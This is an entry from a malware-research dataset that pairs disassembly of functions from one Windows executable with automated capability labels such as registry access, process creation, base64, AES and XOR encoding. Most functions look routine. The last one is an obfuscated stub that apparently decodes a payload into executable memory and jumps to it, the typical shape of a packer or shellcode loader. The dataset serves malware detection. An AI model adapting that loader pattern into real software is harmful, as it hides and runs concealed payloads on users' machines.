joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c46c
Capabilities:
Query service status

Disassembly:
push 0x68
mov eax, 0x4246c7
call fcn.00417336
mov dword [ebp - 0x70], ecx
push 5
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [ebp - 0x68], edi
lea ecx, [ebp - 0x68]
mov dword [ebp - 4], esi
call fcn.0040bc84
test al, al
je 0x40c4b3
cmp edi, esi
je 0x40c4ab
cmp edi, 0xffffffff
je 0x40c4ab
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xa
pop eax
jmp 0x40c643
push 0x14
mov ebx, 0x426450
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x74], esi
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 1
call fcn.0040bc84
test al, al
je 0x40c4f7
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x40c4e9
cmp esi, 0xffffffff
je 0x40c4e9
push esi
call ebx
test edi, edi
je 0x40c4ab
cmp edi, 0xffffffff
je 0x40c4ab
push edi
call ebx
jmp 0x40c4ab
and dword [ebp - 0x48], 0
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x44]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40c544
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x40c526
cmp esi, 0xffffffff
je 0x40c526
push esi
call edi
cmp dword [ebp - 0x68], 0
je 0x40c4ab
cmp dword [ebp - 0x68], 0xffffffff
je 0x40c4ab
push dword [ebp - 0x68]
call edi
jmp 0x40c4ab
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x70]
cmp eax, dword [ecx + 0x20]
jne 0x40c514
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00401af9
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 2
call fcn.0040c2d3
pop ecx
push 0
cmp eax, 4
push 1
lea ecx, [ebp - 0x2c]
sete byte [ebp - 0x69]
mov byte [ebp - 4], 1
call fcn.00401310
cmp byte [ebp - 0x69], 0
je 0x40c5ad
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test esi, esi
je 0x40c595
cmp esi, 0xffffffff
je 0x40c595
push esi
call edi
cmp dword [ebp - 0x68], 0
je 0x40c5a6
cmp dword [ebp - 0x68], 0xffffffff
je 0x40c5a6
push dword [ebp - 0x68]
call edi
push 0xb
jmp 0x40c4ad
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00401af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x64]
push eax
mov byte [ebp - 4], 3
call fcn.0040c3d1
cmp dword [eax + 0x14], 8
pop ecx
pop ecx
jb 0x40c5d1
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
push 0
neg ebx
push 1
lea ecx, [ebp - 0x64]
sbb bl, bl
call fcn.00401310
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401310
inc bl
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x40c624
test esi, esi
je 0x40c60c
cmp esi, 0xffffffff
je 0x40c60c
push esi
call edi
cmp dword [ebp - 0x68], 0
je 0x40c61d
cmp dword [ebp - 0x68], 0xffffffff
je 0x40c61d
push dword [ebp - 0x68]
call edi
push 0xd
jmp 0x40c4ad
test esi, esi
je 0x40c630
cmp esi, 0xffffffff
je 0x40c630
push esi
call edi
cmp dword [ebp - 0x68], 0
je 0x40c641
cmp dword [ebp - 0x68], 0xffffffff
je 0x40c641
push dword [ebp - 0x68]
call edi
xor eax, eax
call fcn.00417380
ret
Function at 0x40d300
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x84c
mov eax, 0x42484f
call fcn.00417336
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x858], eax
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x84c], ebx
push 0x7fe
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x80e]
push ebx
push eax
call fcn.004164f0
mov edi, 0x426500
push edi
mov dword [ebp - 0x84c], ebx
call fcn.00416de1
add esp, 0x10
push eax
push 0xffffffffffffffff
push edi
mov ecx, esi
call fcn.004011d2
mov edi, eax
push edi
push ebx
lea eax, [ebp - 0x82c]
push eax
mov ecx, esi
call fcn.00401a10
mov eax, dword [esi + 0x10]
sub eax, edi
dec eax
push eax
inc edi
push edi
lea eax, [ebp - 0x848]
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.00401a10
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
mov byte [ebp - 4], 1
jae 0x40d3ab
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x84c]
push ecx
push 0x20019
push ebx
push eax
push dword [ebp - 0x858]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d411
cmp dword [ebp - 0x834], 8
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x854], 0x800
jae 0x40d3e8
lea eax, [ebp - 0x848]
lea ecx, [ebp - 0x854]
push ecx
lea ecx, [ebp - 0x810]
push ecx
push ebx
push ebx
push eax
push dword [ebp - 0x84c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x84c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x850]
lea eax, [ebp - 0x810]
push eax
call fcn.00401af9
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.00401310
push ebx
push 1
lea ecx, [ebp - 0x82c]
call fcn.00401310
mov eax, dword [ebp - 0x850]
call fcn.00417380
ret

Function at 0x40deab
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40df22
lea ecx, [ebp - 4]
call fcn.0040bc84
test al, al
jne 0x40df22
mov esi, dword [ebp + 0x14]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push edi
push edi
push dword [ebp + 0x10]
mov dword [ebp - 8], esi
push dword [ebp - 4]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40df1d
cmp dword [ebp - 4], edi
je 0x40df19
cmp dword [ebp - 4], 0xffffffff
je 0x40df19
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x40df39
mov esi, dword [ebp - 8]
jmp 0x40df05
cmp dword [ebp - 4], edi
je 0x40df36
cmp dword [ebp - 4], 0xffffffff
je 0x40df36
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0x14]
pop edi
pop esi
leave
ret
Function at 0x40df3d
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40df9e
lea ecx, [ebp - 4]
call fcn.0040bc84
test al, al
jne 0x40df9e
push ebx
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
cmp dword [ebp - 4], 0
je 0x40df99
cmp dword [ebp - 4], 0xffffffff
je 0x40df99
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret
cmp dword [ebp - 4], 0
je 0x40dfb3
cmp dword [ebp - 4], 0xffffffff
je 0x40dfb3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
leave
ret

Function at 0x40e3c4
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
mov byte [esi + 8], 1
call fcn.0040dfd7
mov dword [esi], eax
xor eax, eax
mov dword [esi + 4], edx
cmp dword [esi], eax
jbe 0x40e3eb
push eax
push eax
push esi
push 0x40e39d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret

Function at 0x40e43a
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
sub esp, 0xc
cmp byte [ecx + eax - 1], 0x3d
jne 0x40e458
dec eax
cmp byte [ecx + eax - 1], 0x3d
je 0x40e44d
mov dword [ebp + 0xc], eax
push esi
xor esi, esi
mov dword [ebp - 4], esi
cmp eax, esi
jbe 0x40e50a
push ebx
mov dword [ebp - 8], 2
sub dword [ebp - 8], ecx
mov dword [ebp - 0xc], 3
sub dword [ebp - 0xc], ecx
push edi
mov edi, dword [ebp + 0x10]
movsx eax, byte [ecx + 1]
movsx edx, byte [ecx]
mov al, byte [eax + 0x426e80]
mov dl, byte [edx + 0x426e80]
shl dl, 2
mov bl, al
sar bl, 4
and bl, 3
or dl, bl
mov byte [esi + edi], dl
mov edx, dword [ebp - 8]
add edx, ecx
inc esi
cmp edx, dword [ebp + 0xc]
jae 0x40e4f5
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 4]
movsx edx, byte [edx + ebx + 2]
mov dl, byte [edx + 0x426e80]
mov bl, dl
sar bl, 2
shl al, 4
and bl, 0xf
or bl, al
mov eax, dword [ebp - 0xc]
mov byte [esi + edi], bl
add eax, ecx
inc esi
cmp eax, dword [ebp + 0xc]
jae 0x40e4f5
mov eax, dword [ebp - 4]
mov ebx, dword [ebp + 8]
movsx eax, byte [eax + ebx + 3]
mov al, byte [eax + 0x426e80]
and al, 0x3f
shl dl, 6
or al, dl
mov byte [esi + edi], al
inc esi
add dword [ebp - 4], 4
mov eax, dword [ebp - 4]
add ecx, 4
cmp eax, dword [ebp + 0xc]
jb 0x40e47f
pop edi
pop ebx
mov eax, esi
pop esi
leave
ret
Function at 0x40e737
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x431138]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
call fcn.0040ce84
test eax, eax
je 0x40e895
test byte [0x433e00], 1
jne 0x40e77a
or dword [0x433e00], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x433dfc], eax
push ebx
push edi
push 0xa
push 0x10
push 0x433ddc
push dword [0x433dfc]
call fcn.00418154
push 0xa
push 0x10
push 0x433dbc
push esi
call fcn.00418154
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0xa
push 0x10
mov ebx, 0x433d9c
push ebx
push eax
call fcn.00418154
and dword [0x433d94], 0
add esp, 0x10
push 8
pop ecx
mov esi, str.kcrashdumper.exe
lea edi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x28]
push eax
mov dword [0x433d98], 1
mov dword [0x433d90], 0xc
movsw word es:[edi], word [esi]
call fcn.0040ce84
push eax
push str._s_s
mov esi, 0x433590
push esi
call fcn.0040e6ff
add esp, 0x10
call fcn.0040ce90
xor edi, edi
cmp eax, edi
jne 0x40e812
mov eax, 0x426f88
push eax
push 0x433dbc
push ebx
push 0x433ddc
push esi
push str._s__pid_s__tid_s__exp_s__dumpfilename_s__callfrom1
mov ebx, 0x432490
push ebx
call fcn.0040e71b
add esp, 0x1c
push 0xa
pop ecx
push 0x43247c
push 0x432438
push edi
push edi
push edi
xor eax, eax
inc eax
push eax
push edi
push edi
push ebx
push esi
mov dword [0x432438], 0x44
mov dword [0x432464], eax
mov word [0x432468], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, edi
pop edi
mov dword [0x432430], eax
pop ebx
je 0x40e895
push 0xffffffffffffffff
push dword [0x43247c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x432480]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x43247c]
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004164df
leave
ret
Function at 0x40ed52
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ecx]
sub esp, 0x10
push 0x10
pop eax
cmp edx, eax
je 0x40ed6a
cmp edx, 0x20
jne 0x40ef32
push ebx
push edi
shr edx, 2
push 4
mov ebx, edx
pop edi
mov dword [ebp - 4], ebx
cmp ebx, edi
jge 0x40ed7d
mov edx, edi
push esi
mov esi, dword [ebp + 8]
lea edx, [edx*4 + 0x1c]
mov dword [ebp - 0xc], edx
test esi, esi
je 0x40ef2f
mov dword [esi], eax
add esi, edi
mov dword [esi], edx
add esi, edi
xor edx, edx
test ebx, ebx
jle 0x40edcd
lea eax, [ecx + 5]
movzx ecx, byte [eax - 1]
movzx edi, byte [eax]
shl ecx, 8
or ecx, edi
movzx edi, byte [eax + 1]
shl ecx, 8
or ecx, edi
movzx edi, byte [eax + 2]
shl ecx, 8
or ecx, edi
mov dword [esi + edx*4], ecx
inc edx
add eax, 4
cmp edx, ebx
jl 0x40eda4
mov ecx, dword [esi + edx*4 - 4]
mov edi, 0xff
cmp ebx, dword [ebp - 0xc]
jge 0x40eeb1
and dword [ebp + 8], 0
mov dword [ebp - 8], esi
mov eax, ebx
cdq
idiv dword [ebp - 4]
test edx, edx
jne 0x40ee4d
mov eax, ecx
shr eax, 0x10
and eax, edi
movzx eax, byte [eax + str.cw]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
cdq
idiv dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov edi, 0xff
movzx eax, byte [eax + 0x427018]
xor edx, eax
mov eax, ecx
shr eax, 8
and eax, edi
movzx eax, byte [eax + str.cw]
shl edx, 8
xor edx, eax
mov eax, ecx
and eax, edi
movzx eax, byte [eax + str.cw]
shl edx, 8
shr ecx, 0x18
movzx ecx, byte [ecx + str.cw]
xor edx, eax
shl edx, 8
xor ecx, edx
jmp 0x40ee98
cmp dword [ebp - 4], 6
jle 0x40ee98
cmp edx, 4
jne 0x40ee98
mov eax, ecx
shr eax, 0x10
mov edx, ecx
shr edx, 0x18
movzx edx, byte [edx + str.cw]
and eax, edi
movzx eax, byte [eax + str.cw]
shl edx, 8
xor eax, edx
mov edx, ecx
shr edx, 8
and edx, edi
movzx edx, byte [edx + str.cw]
shl eax, 8
and ecx, edi
movzx ecx, byte [ecx + str.cw]
xor eax, edx
shl eax, 8
xor ecx, eax
mov eax, dword [ebp - 8]
xor ecx, dword [eax]
add dword [ebp - 8], 4
mov dword [esi + ebx*4], ecx
inc ebx
inc dword [ebp + 8]
cmp ebx, dword [ebp - 0xc]
jl 0x40ede6
and dword [ebp + 8], 0
dec ebx
js 0x40ef2f
mov eax, dword [ebp - 0xc]
lea eax, [esi + eax*4]
mov dword [ebp - 0xc], eax
cmp dword [ebp + 8], 4
mov ecx, dword [esi + ebx*4]
jl 0x40ef1e
cmp ebx, 4
jl 0x40ef1e
mov eax, ecx
shr eax, 0x10
and eax, edi
movzx eax, byte [eax + str.cw]
mov eax, dword [eax*4 + 0x428638]
mov edx, ecx
shr edx, 8
and edx, edi
movzx edx, byte [edx + str.cw]
xor eax, dword [edx*4 + 0x428a38]
mov edx, ecx
shr edx, 0x18
movzx edx, byte [edx + str.cw]
xor eax, dword [edx*4 + 0x428238]
and ecx, edi
movzx ecx, byte [ecx + str.cw]
xor eax, dword [ecx*4 + 0x428e38]
jmp 0x40ef20
mov eax, ecx
mov ecx, dword [ebp - 0xc]
inc dword [ebp + 8]
add dword [ebp - 0xc], 4
dec ebx
mov dword [ecx], eax
jns 0x40eec1
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x40f6da
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40f81c
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x40f81c
xor edx, edx
push 3
pop ecx
mov eax, ebx
div ecx
mov esi, dword [ebp + 0xc]
xor ecx, ecx
test edx, edx
setne cl
mov dword [ebp - 0xc], edx
add ecx, eax
shl ecx, 2
mov dword [ebp - 8], ecx
test esi, esi
jne 0x40f722
mov eax, ecx
jmp 0x40f81e
xor ecx, ecx
test eax, eax
je 0x40f795
add edi, 2
mov dword [ebp - 4], eax
movzx eax, byte [edi - 2]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
movzx eax, byte [edi - 2]
movzx edx, byte [edi - 1]
and eax, 3
shl eax, 4
shr edx, 4
or eax, edx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], al
movzx eax, byte [edi - 1]
movzx edx, byte [edi]
and eax, 0xf
shl eax, 2
shr edx, 6
or eax, edx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 2], al
movzx eax, byte [edi]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 3], al
add ecx, 4
add edi, 3
dec dword [ebp - 4]
jne 0x40f72e
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
dec eax
je 0x40f7e8
dec eax
jne 0x40f817
lea edx, [edi + ebx]
movzx eax, byte [edx - 2]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
movzx eax, byte [edx - 2]
movzx edi, byte [edx - 1]
and eax, 3
shl eax, 4
shr edi, 4
or eax, edi
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], al
movzx eax, byte [edx - 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
lea ecx, [ecx + esi + 2]
mov byte [ecx], al
mov byte [ecx + 1], 0x3d
jmp 0x40f817
lea edx, [edi + ebx - 1]
movzx eax, byte [edx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
movzx eax, byte [edx]
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi + 1], al
lea ecx, [ecx + esi + 2]
mov word [ecx], 0x3d3d
mov eax, dword [ebp - 8]
jmp 0x40f81e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40f909
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40f96d
cmp dword [ebp + 0xc], 1
je 0x40f945
cmp dword [ebp + 0xc], 2
je 0x40f945
push 0xd
pop eax
jmp 0x40f96d
mov eax, dword [ebp - 4]
test edi, edi
je 0x40f967
test eax, eax
je 0x40f962
test al, 1
jne 0x40f940
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x40f967
jmp 0x40f940
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8
Function at 0x4151bd
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
cmp dword [ebp + 0xc], edi
jbe 0x4152b7
mov ecx, dword [ebp + 8]
push ebx
mov dword [ebp - 8], 1
sub dword [ebp - 8], ecx
mov dword [ebp - 0xc], 2
sub dword [ebp - 0xc], ecx
push esi
mov esi, dword [ebp + 0x10]
jmp 0x4151f5
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
add edi, ecx
movzx ecx, byte [edi]
shr ecx, 2
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi], cl
mov cl, byte [edi]
and cl, 3
add edx, edi
shl cl, 4
cmp edx, dword [ebp + 0xc]
jae 0x41528c
mov ebx, dword [ebp - 4]
mov edx, dword [ebp + 8]
lea edx, [ebx + edx + 1]
mov bl, byte [edx]
shr bl, 4
add bl, cl
movzx ecx, bl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 1], cl
mov cl, byte [edx]
mov edx, dword [ebp - 0xc]
and cl, 0xf
add edx, edi
shl cl, 2
cmp edx, dword [ebp + 0xc]
jae 0x415278
mov edx, dword [ebp - 4]
mov edi, dword [ebp + 8]
mov dl, byte [edx + edi + 2]
mov bl, dl
and bl, 0x3f
shr dl, 6
add dl, cl
movzx ecx, dl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 2], cl
movzx ecx, bl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 3], cl
jmp 0x4152a0
movzx ecx, cl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 2], cl
mov byte [eax + esi + 3], 0x3d
jmp 0x4152a0
movzx ecx, cl
mov cl, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 1], cl
mov word [eax + esi + 2], 0x3d3d
mov edi, dword [ebp - 4]
add edi, 3
add eax, 4
mov dword [ebp - 4], edi
cmp edi, dword [ebp + 0xc]
jb 0x4151f2
pop esi
pop ebx
pop edi
leave
ret

Function at 0x4152ba
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov byte [ecx + 0x68], al
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x420cec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x431138]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041b299
and dword [ebp - 0x14], 0
cmp dword [0x434ff8], 0
mov dword [ebp - 0x18], eax
jne 0x420d9f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x420e47
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x420e47
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x434ff8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x434ffc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x435000], eax
call edi
push eax
call esi
mov dword [0x435008], eax
test eax, eax
je 0x420d9f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x435004], eax
mov eax, dword [0x435004]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x420df8
cmp dword [0x435008], ecx
je 0x420df8
push eax
call esi
push dword [0x435008]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x420df8
test ebx, ebx
je 0x420df8
call edi
test eax, eax
je 0x420def
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x420def
test byte [ebp - 8], 1
jne 0x420df8
or dword [ebp + 0x10], 0x200000
jmp 0x420e2b
mov eax, dword [0x434ffc]
cmp eax, dword [ebp - 0x18]
je 0x420e2b
push eax
call esi
test eax, eax
je 0x420e2b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x420e2b
mov eax, dword [0x435000]
cmp eax, dword [ebp - 0x18]
je 0x420e2b
push eax
call esi
test eax, eax
je 0x420e2b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x434ff8]
call esi
test eax, eax
je 0x420e47
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x420e49
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004164df
leave
ret
Function at 0x4091e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4091f2
pop dword [ebp - 0x48]
mov eax, 0x4091f2
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x375ea
push 0
mov eax, 0xab28dd92
sub eax, 0xaae7ed02
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x9a4bd1e7
sub ecx, 0x9a4b8e05
mov ebx, eax
mov edi, 0x41aa00
add edi, dword [ebp - 0x48]
mov edx, 0xce246b6f
xor dword [ebp - 0x3c], ebx
mov esi, dword [edi]
sub dword [ebp - 0x38], 0x373aae6d
sub esi, edx
xor dword [ebp - 0x30], 0xd0684f5f
mov dword [ebx], esi
sub dword [ebp - 0x34], 0x723949a1
add ebx, 0x64c658f
sub ebx, 0x64c658b
add edi, 0x20ae708c
add edi, 0xdf518f78
loop 0x409240
add eax, 0xfa64654c
sub eax, 0xfa6362f1
xor ebx, ebx
add ebx, eax
add eax, 0xa6bc6189
add eax, 0x59439e7c
mov ecx, 0xb4b02c3e
add ecx, 0x4b8fd3c2
add ecx, dword [ebp - 0x48]
call ebx
leave
ret